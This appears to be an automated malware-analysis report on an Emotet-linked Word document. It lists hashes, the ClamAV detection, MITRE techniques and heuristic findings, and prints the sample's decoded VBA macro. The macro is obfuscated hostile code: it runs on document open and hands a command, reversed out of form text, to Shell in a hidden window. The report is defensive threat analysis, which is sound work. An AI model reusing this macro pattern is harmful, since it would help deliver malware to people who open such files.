Emotet — Office (OOXML) malware analysis

Static analysis result for SHA-256 ceb007931bb5b621…

MALICIOUS

Office (OOXML)

242.4 KB Created: 2019-02-12 19:00:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: 79213aafca83f6ccbb6c5b45caa7433a SHA-1: 9e6d01e9af067014aa64ba03ab87152d22af2b8a SHA-256: ceb007931bb5b6219960d813008c28421b7b7abfcc05d0813df212ddcfa5b64f
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-6882912-0, indicating a known downloader variant. The presence of a Document_Open macro that utilizes the Shell() function strongly suggests the execution of arbitrary code, likely to download and run a secondary payload. This aligns with the typical behavior of Emotet, which often uses macro-enabled documents as an initial vector.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6882912-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6882912-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2567 bytes
SHA-256: e76a8c6da7c97216d60c4c097e169d8fd87c507c991f6ed531033605eadcb36c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function run(SsDRGX)
jo1UkWg3 = 1
GAJHVOcd = CBool(jo1UkWg3)
Dim Oh9Qn7i(4 To 116) As Long
Oh9Qn7i(4) = 27247 / 2477
Execute = VBA.Shell(SsDRGX, 0)

End Function
Sub Document_Open()
Dim kqFJ9S(12 To 208) As String
kqFJ9S(12) = "JynEd"
Dim CnDv5, KyvA1bBMX
CnDv5 = 28.28
KyvA1bBMX = CByte(CnDv5)
Dim V8aFPHK3x, l36Qji
V8aFPHK3x = 31.31
l36Qji = CByte(V8aFPHK3x)
Dim mkdRH7L As Long
mkdRH7L = (-967 + 984) + (11)

Dim G7m4N(6 To 35) As Long
G7m4N(6) = 8366 / 47
Call w("sh")
End Sub

Attribute VB_Name = "pEIks4Soz"
Public Sub w(ijfy0 As String)
BalfnIAC = 0
IaiA4k = CBool(BalfnIAC)
CRtPKcH = 0
secM7P08E = CBool(CRtPKcH)
Dim waAxt9KJe As Long
waAxt9KJe = (14517 / 1613) * (44)
Dim lYDLHwCe, zsTPEC1GL
lYDLHwCe = 12.12
zsTPEC1GL = CByte(lYDLHwCe)
yOkNK8 = 1
Ho93aXY = CBool(yOkNK8)
Dim uHtMlNj As Long
uHtMlNj = (1394 - 1374) / (47)
Dim LuNaA
LuNaA = Jrmin
Dim zgplmqaB(1 To 173) As Long
zgplmqaB(1) = 55 + 69
Dim nSzOR(1 To 173) As Long
nSzOR(1) = 55 + 69
mucVtbEHJ = 1
ziZHUJksh = CBool(mucVtbEHJ)
MqbHdNpv = 1
eSIhb7QH = CBool(MqbHdNpv)
Dim e2AQUF(6 To 238) As String
e2AQUF(6) = "LpyzV2Gag"
cMqzA1 ijfy0
End Sub

Attribute VB_Name = "CaRVjU"
Sub cMqzA1(YftN1z)
JQcbkf = 1
QA9NEoUV = CBool(JQcbkf)
ThisDocument.run afDwZCT("")
End Sub

Attribute VB_Name = "v1R5eIS"
Public Function afDwZCT(CNSctGZY)
Dim qtjFbE9 As Object
Dim uGAvq As String
uGAvq = oNZMGA
Dim WUs1x, jwsSFxDr
WUs1x = 27.27
jwsSFxDr = CByte(WUs1x)
Set qtjFbE9 = New fx
Dim QpKFX7 As String
QpKFX7 = qtjFbE9.woman.Text
Dim IS7toDmTh
IS7toDmTh = ZoD9z6F
jud0y = 1
oHabEptI = CBool(jud0y)
GpS3vl = StrReverse(qtjFbE9.girl.Text)
afDwZCT = GpS3vl & CNSctGZY & QpKFX7
End Function
Public Function IceQHSOBv(a, b, c, d, e) As String
lgy60Jj = 0
OukNQsAp9 = CBool(lgy60Jj)
Dim W0alf, aB4jka
W0alf = 6.6
aB4jka = CByte(W0alf)
'OYOyi8 = Chr(b)
End Function
Function R0Vqv(nBV3g)
End Function

Attribute VB_Name = "fx"
Attribute VB_Base = "0{2A3B8DE5-BF00-4DD1-B904-10EB6E21245E}{385D5010-B49B-4812-A10E-C8D3FD2C89F0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27136 bytes
SHA-256: 0747c22262f2a6d913d13b851fdec37896176aed9f9c3082c290c77daa688509